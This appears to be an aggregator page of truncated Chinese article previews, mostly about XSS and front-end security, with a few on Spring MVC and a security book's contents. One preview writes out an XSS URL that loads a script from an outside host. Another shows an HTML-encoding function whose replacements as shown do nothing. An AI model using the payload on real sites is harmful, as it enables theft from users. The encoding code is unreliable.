OWASP Xenotix XSS Exploit Framework是一个高效的跨站脚本漏洞(XSS)检测和攻击测试框架.它通过特有的三大浏览器引擎(包括Trident, WebKit和Gecko)进行安全扫描检测,并且其号称拥有全世界第二大的XSS测试Payload,同时具有WAF绕过能力. 扫描模块 Manual Mode Scanner Auto Mode Scanner DOM Scanner Multiple Parameter Scanner POST Request Scanne

本文准备说明以下几个问题: 1. 关于重复编码的问题 2. 关于编码的多种形式的问题 3. 关于编码的几个常见问题 [说明] 本文所述编码是指encode,可以理解为转义,而不是编程序写代码. 编码或者转义机制替我们解决两个问题: a. 避免保留字冲突问题,对于web应用来说,XSS问题也是其中一类 b. 表达不可输入字符问题,比如我想在程序当中表达一个键盘上没有不可输入的字符,可以通过编码来解决. [进入正题] 1. 关于重复编码的问题: 我看了一些第三方的decoder/encoder库函数

https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面列举一些常见的安全漏洞和对应的防御措施.01 常见的Web安全问题 1.前端安全 XSS 漏洞 CSRF 漏洞 2.后端安全 SQL 注入漏洞 程序员学架构mikechen优知02 XSS漏洞 1.XSS简介 跨站脚本(cross site script)简称为XSS,是一种经常出现在web应用中的

原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点.在移动互联网时代,前端人员除了传统的 XSS.CSRF 等安全问题之外,又时常遭遇网络劫持.非法调用 Hybrid API 等新型安全问题.当然,浏览器自身也在不断在进化和发展,不断引入 CSP.Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需

前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点.在移动互联网时代,前端人员除了传统的 XSS.CSRF 等安全问题之外,又时常遭遇网络劫持.非法调用 Hybrid API 等新型安全问题.当然,浏览器自身也在不断在进化和发展,不断引入 CSP.Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁

简介 XSS 的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现. 目前来说,流行的浏览器内都内置了一些 XSS 过滤器,但是这只能防御一部分常见的 XSS,而对于网站来说,也应该一直寻求优秀的解决方案,保护网站及用户的安全,我将阐述一下网站在设计上该如何避免 XSS 的攻击. HttpOnly HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准.具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,

英文原文:https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Session_Management_Cheat_Sheet.md 采集日期:2019-07-17 注:Session 尽量保持原文,有时表意时用"会话". 简介(Introduction) Web 身份认证.Session 管理和访问控制:(Web Authentication, Session Management, and Access C

到目前为止,我们把能用前端脚本防御 XSS 的方案都列举了一遍. 尽管看起来似乎很复杂累赘,不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程度. 事实上,HTML5 早已制定了一套浏览器 XSS 解决方案 -- Content Security Policy,并且大多主流浏览器实现了这个标准. 既然我们使用前端脚本重新实现一遍,因此得在各个方面占有优势. 兼容性 CSP 目前主流浏览器大多已支持,IE10.11 支持部分功能.对于 IE

1.需求 提供xss解决方案 2.方式 对需要显示在html中的用户代码进行编码 3.处理方案 1.用户的数据到后端前用下面的编码层代码进行编码. function htmlEncodeCharacter(character) { return character.replace(/&/g,'&') .replace(/</g,'<') .replace(/>/g,'>') .replace(/"/g,'"') .replace(/\//g,'/

本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 介绍 本文描述了一种恰当地使用输出转码或者转义(encoding or escaping)防御XSS攻击的简单积极模式. 尽管存在巨量XSS攻击方式,遵守一些简单的规则能够彻底防住这类严重的攻击. 本文不探讨XSS攻击的商业和技术影响. reflected and stored XSS 可以

本文源自: https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting 在原文理解上翻译为中文. 背景 本文描述多种不同类型的XSS攻击,和它们之间的相互关系. 最早,有两种类型的XSS攻击被定义,Stored 和 Reflected , 在二零零五年,Amit Klein定义了第三种攻击类型, DOM Based XSS攻击. Stored 类型 见上一篇文章中的定义. 此外, 由于HTML5的降临, 和其它的浏览器技术, 攻击者

本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS攻击是一种注入, 通过这种攻击,恶意脚本被注入到被信任的网站里. XSS攻击的表现是,攻击者使用web应用的缺陷,发送恶意代码到另外一个不同用户, 一般是以浏览器端脚本的形式发送. 这种使得攻击成功的缺陷是相当广泛的,并存在于这种web应用中, 应用使用用户输入数据,放到网站输出的响应中,但是没有对

这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编码,那么就有可能存在这个漏洞. (一)DOM—based XSS漏洞的产生DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞.DOM是一个与平台.编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容.结构和样式,处理后的结果能够成为显示页面的一部分.DOM中有很多对象,其中一些是用户可以操纵的,如uR

到目前为止,我们把能用前端脚本防御 XSS 的方案都列举了一遍. 尽管看起来似乎很复杂累赘,不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程度. 事实上,HTML5 早已制定了一套浏览器 XSS 解决方案 —— Content Security Policy,并且大多主流浏览器实现了这个标准. 既然我们使用前端脚本重新实现一遍,因此得在各个方面占有优势. 兼容性 CSP 目前主流浏览器大多已支持,IE10.11 支持部分功能.对于 IE

XSS漏洞 XSS 全称 Cross Site Scripting ,跨站脚本攻击.它的形成主要原因是多数用户输入没有转义,而被直接执行. 参考下面一段脚本: $('#box').html(location.hash.replace('#', '')) 攻击者发现这里的漏洞后,构造这样的URL: http://a.com/pathname#<script src="http://b.com/c.js"></script> 为了不让受害者发现这段URL的猫腻,他可

随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面列举一些常见的安全漏洞和对应的防御措施. 0x01: XSS漏洞 1.XSS简介 跨站脚本(cross site script)简称为XSS,是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式. XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码. 2.XSS攻击的危害 盗取用户资料,比

XSS 攻击有两大要素: 1.攻击者提交恶意代码. 2.浏览器执行恶意代码. 针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢? 输入过滤 在用户提交时,由前端过滤输入,然后提交到后端.这样做是否可行呢? 答案是不可行.一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了. 那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端.这样是否可行呢? 我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,

声明:本篇文档主要是用于参考帮助文档,没有实例,但几乎包含了SpringMVC 4.2版本的所有核心技术,当前最新版本是4.3,4.2的版本已经经是很新的了,所以非常值得大家一读,对于读完这篇文档感觉还不错的麻烦给个推荐,毕竟花了我一个星期时间才整理出来的,所以请多多支持 .  对于觉得篇幅长的文档,建议大家使用快捷键crtl + F,搜索关键字查询较为方便. 21.1  Spring Web MVC框架简介 Spring的模型-视图-控制器(MVC)框架是围绕一个 DispatcherServ

1.介绍Spring Web MVC 框架 Spring Web MVC 框架是围绕DispatcherServlet设计的,所谓DispatcherServlet就是将请求分发到handler,需要有配置好的handler映射.视图解析.本地化.时区.theme解决方案.还有上传文件的支持.默认的handler是基于@Controller和@RequestMapping注解.自Spring 3.0 起,@Controller注解还能用于RESTful,需要配合@PathVariable以及其他

介绍Spring Web MVC 框架 Spring Web MVC的特性 其他MVC实现的可插拔性 DispatcherServlet 在WebApplicationContext中的特殊的bean types 默认的DispatcherServlet配置 DispatcherServlet处理顺序 实现Controller 使用@Controller定义一个Controller 使用@RequestMapping映射requests 定义@RequestMapping handler met

目录 第一篇 世界观安全 一 我的安全世界观 第二篇 客户端脚本安全 一 浏览器安全二 跨站脚本攻击(XSS)三 跨站点请求伪造(CSRF)四 点击劫持(ClickJacking)五 HTML5 安全 第三篇 服务端应用安全 一 注入攻击二 文件上传漏洞三 认证与会话管理四 访问控制五 加密算法与随机数六 Web框架安全七 应用层拒绝服务攻击八 PHP安全九 Web Server配置安全 第四篇 互联网公司安全运营  一 互联网业务安全二 安全开发流程(SDL)三 安全运营 第一篇 世界观安全